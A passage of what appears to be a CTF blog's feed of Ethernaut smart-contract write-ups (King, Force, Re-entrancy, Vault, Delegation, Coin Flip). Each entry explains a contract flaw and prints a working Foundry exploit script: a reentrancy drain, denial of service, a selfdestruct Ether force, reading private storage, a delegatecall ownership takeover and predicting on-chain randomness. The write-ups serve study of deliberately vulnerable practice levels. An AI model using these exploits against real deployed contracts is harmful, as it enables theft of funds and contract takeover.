        // Extract the key from storage slot 5 and convert to bytes16
        bytes32 key = 0xe6dd9b7773267803f7e98c2a32f85b912afa06b9b90a477db2ae663e098bb333;
        privacyInstance.unlock(bytes16(key));
        
        // Verify the contract is unlocked
        console.log(&quot;Contract locked status:&quot;, privacyInstance.locked());
        
        vm.stopBroadcast();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept (PoC)&lt;/h2&gt;
&lt;p&gt;Execute the exploit with Foundry:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge script script/PrivacySolution.s.sol --rpc-url $SEPOLIA_URL --broadcast
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>King - The Ethernaut</title><link>https://xiaowenjictf.github.io/posts/ethernaut/king/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/ethernaut/king/</guid><description>King challenge writeup</description><pubDate>Fri, 19 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Cover image source: &lt;a href=&quot;https://ethernaut.openzeppelin.com/imgs/BigLevel9.svg&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Challenge Overview&lt;/h2&gt;
&lt;p&gt;This level presents a simple ponzi-style game where users can become the &quot;king&quot; by sending more Ether than the current prize. The previous king receives the new payment, and the sender becomes the new king. The challenge is to break the game such that when the level attempts to reclaim kingship, it cannot do so.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Challenge Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
    address king;
    uint256 public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value &amp;gt;= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Explanation&lt;/h2&gt;
&lt;p&gt;The vulnerability lies in the sequence of operations in the &lt;code&gt;receive()&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;receive() external payable {
    require(msg.value &amp;gt;= prize || msg.sender == owner);
    payable(king).transfer(msg.value);  // This can fail
    king = msg.sender;
    prize = msg.value;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The function:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Checks if the sent value is sufficient&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Transfers the funds to the current king&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Then&lt;/strong&gt; updates the king and prize variables&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The exploit involves creating a contract that becomes king but &lt;strong&gt;cannot receive Ether&lt;/strong&gt;. When someone else tries to become king:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;They send Ether to the King contract&lt;/li&gt;
&lt;li&gt;The King contract tries to send the funds to our malicious contract (the current king)&lt;/li&gt;
&lt;li&gt;The transfer fails because our contract cannot receive Ether&lt;/li&gt;
&lt;li&gt;The entire transaction reverts, preventing the kingship change&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This creates a permanent denial-of-service condition where no one can become the new king.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Script&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import &quot;forge-std/Script.sol&quot;;
import &quot;forge-std/console.sol&quot;;
import &quot;../src/King.sol&quot;;

contract EvilKing {
    // Constructor becomes king by sending exactly the current prize amount
    constructor(King _kingInstance) payable {
        // Call the King contract with the exact prize amount
        // This will make this contract the new king
        (bool success, ) = address(_kingInstance).call{value: _kingInstance.prize()}(&quot;&quot;);
        require(success, &quot;Failed to claim kingship&quot;);
    }
    
    // NO receive() or fallback() function - this contract cannot receive Ether!
}

contract KingSolution is Script {
    King public kingInstance = King(payable(&amp;lt;YOUR_INSTANCE&amp;gt;));

    function run() public {
        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));
        
        // Check current king and prize before attack
        console.log(&quot;Current king:&quot;, kingInstance._king());
        console.log(&quot;Current prize:&quot;, kingInstance.prize());
        
        // Deploy EvilKing contract with exactly the current prize amount
        // This will make EvilKing the new king
        new EvilKing{value: kingInstance.prize()}(kingInstance);
        
        // Verify we are now the king
        console.log(&quot;New king:&quot;, kingInstance._king());
        console.log(&quot;My contract address:&quot;, address(this));
        
        vm.stopBroadcast();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept (PoC)&lt;/h2&gt;
&lt;p&gt;Execute the exploit with Foundry:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge script script/KingSolution.s.sol --rpc-url $SEPOLIA_URL --tc KingSolution --broadcast
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Force - The Ethernaut</title><link>https://xiaowenjictf.github.io/posts/ethernaut/force/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/ethernaut/force/</guid><description>Force challenge writeup</description><pubDate>Thu, 18 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Cover image source: &lt;a href=&quot;https://ethernaut.openzeppelin.com/imgs/BigLevel7.svg&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Challenge Overview&lt;/h2&gt;
&lt;p&gt;This level presents a contract with no payable functions, making it seemingly impossible to send Ether to it through normal means. The goal is to make the contract&apos;s balance greater than zero by forcing Ether into it using an unconventional method.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Challenge Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The contract contains no functions whatsoever - not even a fallback or receive function. This means:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;No direct Ether transfers can be made to the contract&lt;/li&gt;
&lt;li&gt;No function calls can be made to the contract&lt;/li&gt;
&lt;li&gt;The contract cannot receive Ether through normal transactions&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Explanation&lt;/h2&gt;
&lt;p&gt;The solution leverages a low-level Ethereum feature: the &lt;code&gt;selfdestruct&lt;/code&gt; operation. When a contract self-destructs, it can specify a recipient address to receive any remaining Ether in its balance. Crucially, this transfer &lt;strong&gt;cannot be refused&lt;/strong&gt; by the recipient contract - it happens at the EVM level, bypassing any Solidity-level checks.&lt;/p&gt;
&lt;p&gt;The exploit involves:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Creating an attacker contract with a payable function to receive Ether&lt;/li&gt;
&lt;li&gt;Funding the attacker contract with a small amount of Ether&lt;/li&gt;
&lt;li&gt;Calling &lt;code&gt;selfdestruct(target)&lt;/code&gt; on the attacker contract, forcing all its Ether to the target contract&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This works because:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;selfdestruct&lt;/code&gt; is an EVM opcode that forcibly sends Ether&lt;/li&gt;
&lt;li&gt;The recipient contract has no ability to reject this transfer&lt;/li&gt;
&lt;li&gt;It bypasses the need for payable functions or fallback/receive functions&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Script&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import &quot;forge-std/Script.sol&quot;;
import &quot;forge-std/console.sol&quot;;
import &quot;../src/Force.sol&quot;;

contract Attacker {
    // Allow this contract to receive Ether
    receive() external payable {}

    function attack(address payable _target) public {
        // Self-destruct and force all Ether to target
        selfdestruct(_target);
    }
}

contract ForceSolution is Script {
    Force public forceInstance = Force(payable(&amp;lt;YOUR_INSTANCE&amp;gt;));

    function run() public {
        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));
        
        // Check initial balance of target contract
        uint256 initialBalance = address(forceInstance).balance;
        console.log(&quot;Initial target balance:&quot;, initialBalance, &quot;wei&quot;);
        
        // Deploy attacker contract
        Attacker attacker = new Attacker();
        
        // Send a small amount of Ether to the attacker contract
        (bool success, ) = address(attacker).call{value: 0.0001 ether}(&quot;&quot;);
        require(success, &quot;Failed to fund attacker contract&quot;);
        
        // Execute the attack - force Ether into target contract
        attacker.attack(payable(address(forceInstance)));
        
        // Verify the attack was successful
        uint256 finalBalance = address(forceInstance).balance;
        console.log(&quot;Final target balance:&quot;, finalBalance, &quot;wei&quot;);
        console.log(&quot;Attack successful:&quot;, finalBalance &amp;gt; initialBalance);
        
        vm.stopBroadcast();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept (PoC)&lt;/h2&gt;
&lt;p&gt;Execute the exploit with Foundry:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge script script/ForceSolution.s.sol --rpc-url $SEPOLIA_URL --tc ForceSolution --broadcast
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Re-entrancy - The Ethernaut</title><link>https://xiaowenjictf.github.io/posts/ethernaut/reentrancy/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/ethernaut/reentrancy/</guid><description>Re-entrancy challenge writeup</description><pubDate>Thu, 18 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Cover image source: &lt;a href=&quot;https://ethernaut.openzeppelin.com/imgs/BigLevel10.svg&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Challenge Overview&lt;/h2&gt;
&lt;p&gt;This level involves a contract vulnerable to a classic reentrancy attack. The goal is to drain all funds from the contract by exploiting the unsafe order of operations in the &lt;code&gt;withdraw()&lt;/code&gt; function, which sends Ether before updating the user&apos;s balance.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Challenge Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import &quot;openzeppelin-contracts-06/math/SafeMath.sol&quot;;

contract Reentrance {
    using SafeMath for uint256;

    mapping(address =&amp;gt; uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] &amp;gt;= _amount) {
            (bool result,) = msg.sender.call{value: _amount}(&quot;&quot;);
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Explanation&lt;/h2&gt;
&lt;p&gt;The critical vulnerability is in the &lt;code&gt;withdraw()&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function withdraw(uint256 _amount) public {
    if (balances[msg.sender] &amp;gt;= _amount) {
        (bool result,) = msg.sender.call{value: _amount}(&quot;&quot;);  // Ether sent first
        if (result) {
            _amount;
        }
        balances[msg.sender] -= _amount;  // Balance updated later
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The unsafe order of operations allows for a reentrancy attack:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The contract sends Ether to the caller &lt;strong&gt;before&lt;/strong&gt; updating their balance&lt;/li&gt;
&lt;li&gt;A malicious contract can implement a &lt;code&gt;receive()&lt;/code&gt; function that calls &lt;code&gt;withdraw()&lt;/code&gt; again&lt;/li&gt;
&lt;li&gt;Since the balance hasn&apos;t been updated yet, the second withdrawal also succeeds&lt;/li&gt;
&lt;li&gt;This recursive pattern continues until all contract funds are drained&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The attack sequence:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Donate 0.001 ether to create a balance in the malicious contract&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;withdraw(0.001 ether)&lt;/code&gt; to trigger the attack&lt;/li&gt;
&lt;li&gt;The malicious contract&apos;s &lt;code&gt;receive()&lt;/code&gt; function recursively calls &lt;code&gt;withdraw()&lt;/code&gt; again&lt;/li&gt;
&lt;li&gt;Repeat until the target contract is drained&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Script&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.12;

import &quot;forge-std/Script.sol&quot;;
import &quot;forge-std/console.sol&quot;;
import &quot;../src/Reentrance.sol&quot;;

contract Evil {
    Reentrance public reentranceInstance = Reentrance(payable(&amp;lt;YOUR_INSTANCE&amp;gt;));

    constructor() public payable {
        reentranceInstance.donate{value: 0.001 ether}(address(this));
    }

    function attack() public payable {
        reentranceInstance.withdraw(0.001 ether);
        address(msg.sender).call{value: 0.002 ether}(&quot;&quot;);
    }

    receive() external payable {
        reentranceInstance.withdraw(0.001 ether);
    }
}

contract ReentranceSolution is Script {
    function run() public {
        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));
        Evil evil = new Evil{value: 0.001 ether}();
        evil.attack{value: 0.001 ether}();
        vm.stopBroadcast();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept (PoC)&lt;/h2&gt;
&lt;p&gt;Execute the exploit with Foundry:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge script script/ReentranceSolution.s.sol --rpc-url $SEPOLIA_URL --tc ReentranceSolution --broadcast
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Solving SafeMath Import Issue&lt;/h2&gt;
&lt;p&gt;Similar to previous challenges using Solidity &amp;lt;0.8.0, we need to resolve the SafeMath import issue:&lt;/p&gt;
&lt;h3&gt;1. Configure &lt;code&gt;foundry.toml&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;solc_version = &quot;0.6.12&quot;
remappings = [
    &quot;forge-std/=lib/forge-std/src/&quot;,
    &quot;@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/&quot;
]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Install the Correct OpenZeppelin Release&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;forge install openzeppelin/openzeppelin-contracts@v3.4.2
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Update the Import Path&lt;/h3&gt;
&lt;p&gt;Modify the import statement in the challenge contract:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- import &quot;openzeppelin-contracts-06/math/SafeMath.sol&quot;;
+ import &quot;@openzeppelin/contracts/math/SafeMath.sol&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This ensures the compiler correctly resolves the SafeMath dependency for &lt;code&gt;pragma solidity ^0.6.12&lt;/code&gt;.&lt;/p&gt;
</content:encoded></item><item><title>Vault - The Ethernaut</title><link>https://xiaowenjictf.github.io/posts/ethernaut/vault/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/ethernaut/vault/</guid><description>Vault challenge writeup</description><pubDate>Thu, 18 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Cover image source: &lt;a href=&quot;https://ethernaut.openzeppelin.com/imgs/BigLevel8.svg&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Challenge Overview&lt;/h2&gt;
&lt;p&gt;This level involves a vault protected by a password stored as a private variable. The goal is to unlock the vault by discovering the password and calling the &lt;code&gt;unlock()&lt;/code&gt; function. While the password is marked as &lt;code&gt;private&lt;/code&gt;, all data stored on the blockchain is publicly accessible, allowing us to read it directly from storage.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Challenge Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    bool public locked;
    bytes32 private password;

    constructor(bytes32 _password) {
        locked = true;
        password = _password;
    }

    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Explanation&lt;/h2&gt;
&lt;p&gt;The critical misunderstanding here is about the meaning of &lt;code&gt;private&lt;/code&gt; in Solidity. While &lt;code&gt;private&lt;/code&gt; prevents other contracts from directly accessing the variable, it &lt;strong&gt;does not&lt;/strong&gt; make the data private on the blockchain. All contract storage is publicly readable on-chain.&lt;/p&gt;
&lt;p&gt;The storage layout is as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Slot 0: &lt;code&gt;locked&lt;/code&gt; (boolean, 1 byte)&lt;/li&gt;
&lt;li&gt;Slot 1: &lt;code&gt;password&lt;/code&gt; (bytes32, 32 bytes)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We can directly read the password from storage slot 1 using blockchain exploration tools.&lt;/p&gt;
&lt;h3&gt;Steps to extract the password:&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Read the storage slot&lt;/strong&gt;: Use &lt;code&gt;cast storage&lt;/code&gt; to read the value at storage slot 1&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Decode the bytes32&lt;/strong&gt;: Convert the hex value to a human-readable string&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# Read the password from storage slot 1
cast storage &amp;lt;YOUR_INSTANCE&amp;gt; 1 --rpc-url $SEPOLIA_URL

# Decode the bytes32 value to a string
cast parse-bytes32-string 0x412076657279207374726f6e67207365637265742070617373776f7264203a29
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This reveals the password: &lt;code&gt;A very strong secret password :)&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Script&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import &quot;forge-std/Script.sol&quot;;
import &quot;forge-std/console.sol&quot;;
import &quot;../src/Vault.sol&quot;;

contract VaultSolution is Script {
    Vault public vaultInstance = Vault(&amp;lt;YOUR_INSTANCE&amp;gt;);

    function run() public {
        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));
        
        // Check initial lock status
        console.log(&quot;Vault locked initially:&quot;, vaultInstance.locked());
        
        // Unlock the vault with the extracted password
        bytes32 password = &quot;A very strong secret password :)&quot;;
        vaultInstance.unlock(password);
        
        // Verify the vault is now unlocked
        console.log(&quot;Vault locked after unlock:&quot;, vaultInstance.locked());
        
        vm.stopBroadcast();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept (PoC)&lt;/h2&gt;
&lt;p&gt;Execute the exploit with Foundry:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge script script/VaultSolution.s.sol --rpc-url $SEPOLIA_URL --broadcast
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Delegation - The Ethernaut</title><link>https://xiaowenjictf.github.io/posts/ethernaut/delegation/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/ethernaut/delegation/</guid><description>Delegation challenge writeup</description><pubDate>Wed, 17 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Cover image source: &lt;a href=&quot;https://ethernaut.openzeppelin.com/imgs/BigLevel6.svg&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Challenge Overview&lt;/h2&gt;
&lt;p&gt;This level involves two contracts: &lt;code&gt;Delegate&lt;/code&gt; and &lt;code&gt;Delegation&lt;/code&gt;. The goal is to claim ownership of the &lt;code&gt;Delegation&lt;/code&gt; contract by exploiting its use of &lt;code&gt;delegatecall&lt;/code&gt; in the fallback function. The vulnerability allows an attacker to execute the &lt;code&gt;pwn()&lt;/code&gt; function from the &lt;code&gt;Delegate&lt;/code&gt; contract within the storage context of the &lt;code&gt;Delegation&lt;/code&gt; contract, thereby changing its owner.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Challenge Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result, ) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Explanation&lt;/h2&gt;
&lt;p&gt;The critical vulnerability lies in the &lt;code&gt;fallback()&lt;/code&gt; function of the &lt;code&gt;Delegation&lt;/code&gt; contract:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fallback() external {
    (bool result, ) = address(delegate).delegatecall(msg.data);
    if (result) {
        this;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;delegatecall&lt;/code&gt; is a low-level function that executes code from the target contract (&lt;code&gt;Delegate&lt;/code&gt;) but uses the storage context of the calling contract (&lt;code&gt;Delegation&lt;/code&gt;). This means:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;When we call the &lt;code&gt;pwn()&lt;/code&gt; function via &lt;code&gt;delegatecall&lt;/code&gt;, it executes in &lt;code&gt;Delegation&lt;/code&gt;&apos;s storage context&lt;/li&gt;
&lt;li&gt;Both contracts have their &lt;code&gt;owner&lt;/code&gt; variable at the same storage slot (slot 0)&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;pwn()&lt;/code&gt; function sets &lt;code&gt;owner = msg.sender&lt;/code&gt;, which modifies &lt;code&gt;Delegation&lt;/code&gt;&apos;s owner, not &lt;code&gt;Delegate&lt;/code&gt;&apos;s owner&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The exploit involves:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Sending a transaction to the &lt;code&gt;Delegation&lt;/code&gt; contract with calldata that matches the &lt;code&gt;pwn()&lt;/code&gt; function signature&lt;/li&gt;
&lt;li&gt;This triggers the fallback function, which performs a &lt;code&gt;delegatecall&lt;/code&gt; to the &lt;code&gt;Delegate&lt;/code&gt; contract&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;pwn()&lt;/code&gt; function executes within &lt;code&gt;Delegation&lt;/code&gt;&apos;s context, changing its owner to our address&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Script&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import &quot;forge-std/Script.sol&quot;;
import &quot;forge-std/console.sol&quot;;
import &quot;../src/Delegation.sol&quot;;

contract DelegationSolution is Script {
    Delegation public delegationInstance = Delegation(&amp;lt;YOUR_INSTANCE&amp;gt;);

    function run() public {
        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));
        
        // Check current owner before attack
        console.log(&quot;Owner before attack:&quot;, delegationInstance.owner());
        
        // Trigger the fallback function with pwn() function signature
        // This will execute delegatecall to the Delegate contract&apos;s pwn() function
        address(delegationInstance).call(
            abi.encodeWithSignature(&quot;pwn()&quot;)
        );
        
        // Verify the owner has been changed
        console.log(&quot;Owner after attack:&quot;, delegationInstance.owner());
        console.log(&quot;My address:&quot;, vm.envAddress(&quot;MY_ADDRESS&quot;));
        
        vm.stopBroadcast();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept (PoC)&lt;/h2&gt;
&lt;p&gt;Execute the exploit with Foundry:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge script script/DelegationSolution.s.sol --rpc-url $SEPOLIA_URL --broadcast
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Coin Flip - The Ethernaut</title><link>https://xiaowenjictf.github.io/posts/ethernaut/coinflip/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/ethernaut/coinflip/</guid><description>Coin Flip challenge writeup</description><pubDate>Wed, 17 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Cover image source: &lt;a href=&quot;https://ethernaut.openzeppelin.com/imgs/BigLevel3.svg&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Challenge Overview&lt;/h2&gt;
&lt;p&gt;This level presents a coin flipping game where you need to correctly guess the outcome of a coin flip 10 times in a row to win.&lt;/p&gt;
&lt;p&gt;The challenge appears to rely on randomness from blockchain data, but this randomness is actually &lt;strong&gt;predictable&lt;/strong&gt; because it uses publicly available block information. By calculating the same value off-chain, we can guarantee correct guesses every time.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Challenge Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Explanation&lt;/h2&gt;
&lt;p&gt;The vulnerability lies in the use of deterministic blockchain data for randomness:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;blockhash(block.number - 1)&lt;/code&gt; is &lt;strong&gt;publicly available information&lt;/strong&gt; that anyone can access&lt;/li&gt;
&lt;li&gt;The calculation &lt;code&gt;blockValue / FACTOR&lt;/code&gt; will always produce the same result for the same block&lt;/li&gt;
&lt;li&gt;Since we can perform this identical calculation ourselves, we can &lt;strong&gt;predict the outcome&lt;/strong&gt; before calling the &lt;code&gt;flip()&lt;/code&gt; function&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The exploit involves:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Creating an attacker contract that calculates the flip outcome using the same logic&lt;/li&gt;
&lt;li&gt;Calling the vulnerable contract&apos;s &lt;code&gt;flip()&lt;/code&gt; function with the pre-calculated result&lt;/li&gt;
&lt;li&gt;Repeating this process 10 times to achieve the required winning streak&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Exploit Script&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import &quot;forge-std/Script.sol&quot;;
import &quot;forge-std/console.sol&quot;;
import &quot;../src/CoinFlip.sol&quot;;

contract Exploit {
    uint256 constant FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;
    CoinFlip public coinFlipInstance;

    constructor(CoinFlip _coinFlipInstance) {
        coinFlipInstance = _coinFlipInstance;
    }

    function attack() public {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1;
        coinFlipInstance.flip(side);
    }
}

contract CoinFlipSolution is Script {
    CoinFlip public coinFlipInstance = CoinFlip(&amp;lt;YOUR_INSTANCE&amp;gt;);

    function run() public {
        vm.startBroadcast(vm.envUint(&quot;PRIVATE_KEY&quot;));
        
        // Deploy exploit contract
        Exploit exploit = new Exploit(coinFlipInstance);
        
        // Execute the attack
        exploit.attack();
        
        // Verify results
        console.log(&quot;Number of wins:&quot;, coinFlipInstance.consecutiveWins());
        
        vm.stopBroadcast();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note: You&apos;ll need to run this script &lt;strong&gt;10 times&lt;/strong&gt; (once for each required win), waiting for a new block between each execution since the contract prevents multiple calls in the same block.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept (PoC)&lt;/h2&gt;
&lt;p&gt;Execute the exploit with Foundry:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge script script/CoinFlipSolution.s.sol --rpc-url $SEPOLIA_URL --tc CoinFlipSolution --broadcast
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Repeat this command 10 times, ensuring each transaction is mined in a different block to bypass the &lt;code&gt;lastHash&lt;/code&gt; check and build your winning streak.&lt;/p&gt;
